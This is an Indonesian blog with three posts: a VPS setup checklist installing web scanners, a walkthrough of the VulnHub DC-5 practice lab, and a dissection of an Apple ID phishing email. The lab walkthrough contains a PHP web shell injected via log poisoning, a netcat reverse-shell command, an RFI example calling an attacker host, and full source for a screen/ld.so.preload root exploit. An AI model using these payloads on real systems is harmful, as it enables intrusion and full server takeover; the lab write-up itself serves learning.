Rabu, 18 Agustus 2021

Catatan Kecil Ketika Membeli VPS Debian

Ini hanya catatan kecil supaya saya tidak lupa ketika baru membeli VPS dengan Sistem Operasi Debian, yaitu harus melakukan sebagai berikut:

1. Melakukan pembaruan terhadap "sources.list" dengan cara:

# sudo nano /etc/apt/sources.list

Lanjut ganti dengan: 

deb http://deb.debian.org/debian buster main contrib non-free 

deb-src http://deb.debian.org/debian buster main contrib non-free 

deb http://security.debian.org/debian-security buster/updates main contrib 

deb-src http://security.debian.org/debian-security buster/updates main contrib 

Kemudian Simpan dengan writeout (CTRL+O) dan keluar (CTRL+X).

2. Lanjut dengan "sudo apt-get update" dan "sudo apt-get upgrade".

3. Biar lebih mudah clone di github, lakukan ini "sudo apt install git".

4. Buat iseng scan direktori web, ada alternatif ini "sudo apt-get install dirb".

5. Kemudian iseng lagi jika mau "sudo apt install dmitry", "sudo apt install gobuster", "sudo apt install nikto"

6. Tarik mang "sudo apt install ruby", paket hemat install semua (lagi ga mau pusing) "sudo apt install build-essential libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev  libgmp-dev zlib1g-dev".

7. Install dah "sudo gem install wpscan" dan jalanin deh "./wpscan".


Thanks

Selasa, 25 Juni 2019

Tutorial Mengeksploitasi LFI dan Privilege Escalation di Linux Pada Lab DC-5

Sudah lama sekali tidak menuliskan sesuatu. Rencananya di postingan ini ceritanya akan membahas tentang mengeksploitasi soal di DC-5 yang dapat diunduh: https://www.vulnhub.com/entry/dc-5,314/

Kemudian saya membaca artikel dan mengikuti jejak raj chandel di "https://www.hackingarticles.in/dc-5-vulnhub-walkthrough/"

Sangat senang saya mengikuti semua postingan hackingarticles.in dari beberapa tahun lalu dan membuat saya belajar lagi walaupun sempat vakum beberapa tahun belakang ini di dunia tersebut. Yah ga ada salahnya newbie seperti saya belajar kembali.

Jadi saya menggunakan Operating System (OS) Kali Linux yang 2018 dan statusnya dibuat Bridged (AutoDetect), begitu juga dengan OS DC-5 (Target). Berikut ini contoh screenshot:
Kemudian ceritanya disini saya tidak mengetahui target berada di IP berapa dan alhasil saya menggunakan "netdiscover" guna mengetahui diseluruh segmentasi ada IP berapa saja yang UP. Sebenarnya bisa juga dengan melakukan scanning secara manual satu persatu segmen melalui "nmap" tapi akan panjang nanti. Berikut ini hasil scan melalui netdiscover:
Selanjutnya saya melakukan scanning dengan perintah "nmap -A 192.168.43.56" dengan hasil adalah terdapat port 80 dan 111 yang open. Disitu saya fokus ke port 80 dan mencari tahu melalui google apakah webservice "nginx 1.6.2" memiliki kerentanan dan hasilnya adalah ya ada donk. Berikut ini hasil screenshot:
Berikutnya adalah mengakses port 80 tersebut melalui web browser (tapi ada beberapa orang yang seneng melalui terminal, hehe maaf saya anak muda bukan orang tua ^_^ ). Disitu saya fokus ke menu contact.php. Biasanya di lapangan ketika sudah scanning infrastruktur menggunakan nmap, akan dilanjutkan scanning web aplikasi menggunakan tools seperti nikto, dirb dan lain-lain. Tapi disini saya langsung mengakses si contact.php (mirip buku tamu). Emang ngeliat langsung empuk dan saya mencoba memasukkan payload XSS dan hal iseng lainnya seperti mencoba membaca file "passwd" (karena OS nya Linux kata si Nmap) tapi ya ga ada gunanya dan berguna itu ketika masukin payload XSS. Berikut ini tampilan screenshot:
Dari gambar di atas, ketika saya sudah menginputkan semua isian di buku tamu maka munculah url "http://ip/thankyou.php?firstname=.....". Dari situlah saya mendapatkan halaman baru yaitu "thankyou.php" dan munculah naluri newbie serta script kiddies saya untuk melakukan scanning ngebrute halaman disitu dengan bantuan "dirb". Bingo saya dapat parameter baru yaitu "file" dan kemudian saya memverifikasi hasil dari scanner tersebut seperti gambar di bawah ini "http://ip/thankyou.php?file="



Tarik lagi mang masih panjang, setelah mengakses parameter "file" tersebut dengan nakal mencoba mengakses kerentanan LFI. Sudah tahu kan ya beda LFI dan RFI? Bisa baca disini:

Contohnya kek gini bang:
RFI
http://example.com/?file=http://attacker.example.com/evil.php
LFI
http://example.com/?file=../../uploads/evil.php


Dari percobaan di atas, saya berhasil mengakses file "/etc/passwd" si OS linux itu dan karena web service secara default di linux tidak jalan setingkat root maka jangan harap bisa mengakses "/etc/shadow". Biasanya jika passwd bisa dibaca dan ada port 22 (ssh) atau sejenisnya, langkah menyerang lainnya adalah melakukan bruteforce tapi di lab ini berbeda bang.

Kemudian berhubung ceritanya saya ini newbie dan script kiddies maka saya googling tuh file log web service (nGinx) berada dilokasi mana. Kenapa? Kali aja saya dapat pola si root atau beberapa tamu pernah akses apa saja ke server. Tetapi alhasil karena sebelumnya saya iseng scan sana sini dan masukin payload xss (jadi muncul popup di klien/jalan euy stored xss), log nya jadi banyak dan berikut ini screenshot:




Beberapa orang yang kaya saya pasti bertanya-tanya mengapa file itu yang diincer? Jadi gini loh, semua file log dan temporary itu biasanya bisa di read and write oleh akses rendah (web service). Jadi kita mulai dengan menginjeksi file log itu dengan "cmd" sederhana dan akan running www-data. Sebelum menuliskan kode jahat itu, bisa aktifkan perangkat untuk melakukan intercept dan disini saya pakai burpsuite dan tidak perlu dijelaskan tutorial gimana cara setting proxy dkk. Ini screenshot:







Dengan menuliskan command di bawah ini maka "<?php system($_GET['cmd']) ?>"  dan cari pada file log tersebut apakah sukses atau tidak dengan keyword "uid=bla bla bla". Ketika sukses ke write, maka akses melalui browser dengan mengetikan "nc -e /bin/bash IPListenKita PortKita". Berikut ini screenshot:
Ketika netcat (nc) telah berhasil, maka tidak ada salahnya mengakses dir atau ls dan untuk mendapatkan command prompt tolong panggil python -c 'import pty;pty.spawn("/bin/bash")'

Nah dari situ ketika ingin melakukan privilege escalation, tidak ada salahnya kita googling dan nanti mendapatkan beberapa PoC seperti tautan di bawah ini:


Lanjut ikuti instruksi privilege escalation yang ada di exploit-db dengan membuat beberapa script serta compile di Kali Linux.

Buat File "libhax.c"

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

Compile dengan perintah:
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

Buat File "rootshell.c"

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

Compile dengan perintah:
gcc -o rootshell rootshell.c

Kemudian buatkan file exploit 41115.sh (bebas namanya):
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc/
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

Ketika semua file sudah dibuat dan di compile, maka aktifkan web service di Kali Linux. Hal ini dilakukan agar Target mengunduh 3 file yang sudah kita compile di IP Kali Linux. Berikut ini screenshot:





Jadi semua file yang sudah di compile dan diunduh ke folder "/tmp" karena folder inilah yang bisa kita Read and Write. Sangat tidak mungkin jika kita wget di folder "/var/www/html" karena hanya bisa read saja. Ketika file semua berhasil di "wget" maka kita "chmod 777 atau chmod +x" file "41154.sh" dan kita eksekusi seperti gambar di bawah ini:

Akhirnya selesai dan sulit ini menjelaskan dengan kata-kata karena kebiasaan main sama rumput yang bergoyang. Model soal seperti ini banyak dijumpai di dunia nyata kok dan memang ga boleh putus asa karena harus mencari pintu yang terbuka darimanapun.

Sekian dari saya sang newbie dan script kiddies ^_^


Kamis, 31 Januari 2019

Spam Dengan Gaya AppleID

Iseng menyoret di blog ini setelah vakum cukup lama dan cuman mau share tentang email busuk yang ceritanya mau nyuri akun apple orang lain. Mendingan tobat nak dari hal kotor kaya gini. Berikut ini screenshot dan sorry to say klo gw ga ada sensor gambar di bawah ini:







Gambar di atas ceritanya ada pihak dari Apel yang memberitahukan bahwa akun saya ke kunci dan harus mengklik pada tombol "UNLOCK ACCOUNT" dan akan diarahkan kepada halaman yang mirip dengan website apple. Jika orang awam pasti ketipu tapi klo dikirim ke gw yah terpaksa gw lucuti deh.


Kemudian di email tersebut iseng buka raw dan hasilnya adalah pengirim menggunakan keterangan seperti di bawah ini:


 

Ternyata link tersebut direct ke website "agoengmanukcok.com". Aiih Bajigur masa bangsa sendiri mau ngejajah orang pribumi juga. Klo ada dendam sama gw silahkan dateng langsung saja dan kita ngupi cantik atau apa perlu gw buatin kopi single origin dan nanti tinggal pilih mau yang mana. Semua free deh ^_^





Kemudian beberapa saat agoengmanukcok.com itu direct ke gambar di bawah ini dan gw ga tau klo web si agoengmanukcok.com itu udah dimanfaatin sama orang lain atau tidak tapi satu kata "Bajigur" klo mau jajah ke negara sendiri. 

Selanjutnya klo orang awam jeli maka url nya itu sampah banget bukan ke domainnya web apple.com tapi ke url acak adut.


 

Tadinya mau gw tulis username dan password dengan kata-kata kasar tapi kasihanlah ga tega sama manusia yang kaya gitu.

Saran gw, disudahilah mainan seperti itu dan main yang halal saja karena itu DOSA, hahaha.

Sekian tulisan ancur ini semoga ada manfaatnya sedikit ajah.